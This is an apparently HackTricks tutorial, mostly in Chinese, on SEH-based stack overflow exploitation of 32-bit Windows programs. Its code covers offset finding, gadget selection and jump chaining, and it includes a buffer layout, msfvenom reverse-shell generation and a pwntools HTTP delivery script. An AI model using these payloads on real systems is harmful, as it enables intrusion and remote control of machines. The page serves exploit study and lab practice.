Windows 基于 SEH 的堆栈溢出利用 (nSEH/SEH)

Reading time: 8 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

SEH-based exploitation 是一种经典的 x86 Windows 技术,滥用存储在栈上的结构化异常处理程序链 (Structured Exception Handler chain)。当一次栈缓冲区溢出覆盖了两个 4 字节字段时:

  • nSEH: 指向下一个 SEH 记录的指针,和
  • SEH: 指向异常处理函数的指针

攻击者可以通过以下方式接管执行流程:

  1. 将 SEH 设置为位于非受保护模块中的一个 POP POP RET gadget 的地址,这样在异常分发时该 gadget 会返回到攻击者可控的字节,和
  2. 使用 nSEH 重定向执行(通常是一个短跳)回到包含 shellcode 的大溢出缓冲区中。

该技术特定于 32-bit 进程 (x86)。在现代系统上,优先选择没有 SafeSEH 和 ASLR 的模块来寻找 gadget。由于 C-strings 和 HTTP 解析,常见的坏字符通常包括 0x00, 0x0a, 0x0d (NUL/CR/LF)。


Finding exact offsets (nSEH / SEH)

  • 令进程崩溃并验证 SEH 链是否被覆盖(例如在 x32dbg/x64dbg 中,检查 SEH 视图)。
  • 发送一个 cyclic pattern 作为溢出数据,并计算落在 nSEH 和 SEH 的两个 dwords 的偏移量。

Example with peda/GEF/pwntools on a 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

通过在这些位置放置标记来验证(例如,nSEH=b"BB", SEH=b"CC")。保持总长度不变以使崩溃可复现。


Choosing a POP POP RET (SEH gadget)

你需要一个 POP POP RET 序列来展开 SEH 框架并返回到你的 nSEH 字节。把它找在没有 SafeSEH 的模块中,最好也没有 ASLR:

  • Mona (Immunity/WinDbg): !mona modules then !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH to list POP POP RET gadgets and SafeSEH status.

选择一个在以 little-endian 写入时不包含 badchars 的地址(例如,p32(0x004094D8))。如果保护允许,优先选择位于 vulnerable binary 内的 gadgets。


Jump-back technique (short + near jmp)

nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.

With nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

针对 1000-byte payload 且 nSEH 在 offset 660 的布局思路:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

执行流程:

  • 发生异常,dispatcher 使用被覆盖的 SEH。
  • POP POP RET 会展开并进入我们的 nSEH。
  • nSEH 执行 jmp short -8 跳入那个 5-byte near jump。
  • Near jump 落在我们缓冲区的起始处,那里放着 NOP sled + shellcode。

坏字符

构建完整的 badchar 字符串并在崩溃后比较栈内存,移除被目标解析器破坏的字节。对于 HTTP-based overflows,\x00\x0a\x0d 几乎总是被排除。

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode 生成 (x86)

使用 msfvenom 并带上你的 badchars。一个小的 NOP sled 有助于容忍落点偏差。

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

如果动态生成,hex 格式便于在 Python 中嵌入并进行 unhex:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

Delivering over HTTP (precise CRLF + Content-Length)

当易受攻击的向量是 HTTP 请求体时,构造一个原始请求,使用精确的 CRLF 和 Content-Length,使服务器读取整个溢出的请求体。

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

工具

  • x32dbg/x64dbg 用于观察 SEH 链并对崩溃进行定位和分析。
  • ERC.Xdbg (x64dbg 插件) 用于枚举 SEH gadgets: ERC --SEH.
  • Mona 作为替代:!mona modules, !mona seh.
  • nasmshell 用于汇编 short/near jumps 并复制原始操作码。
  • pwntools 用于制作精确的网络 payloads。

注意事项与限制

  • 仅适用于 x86 进程。x64 使用不同的 SEH 机制,基于 SEH 的利用通常不可行。
  • 优先在没有 SafeSEH 和 ASLR 的模块中寻找 gadgets;否则,寻找已加载到进程中的未受保护模块。
  • 会在崩溃后自动重启的服务 watchdogs 可以让迭代式 exploit 开发更加方便。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks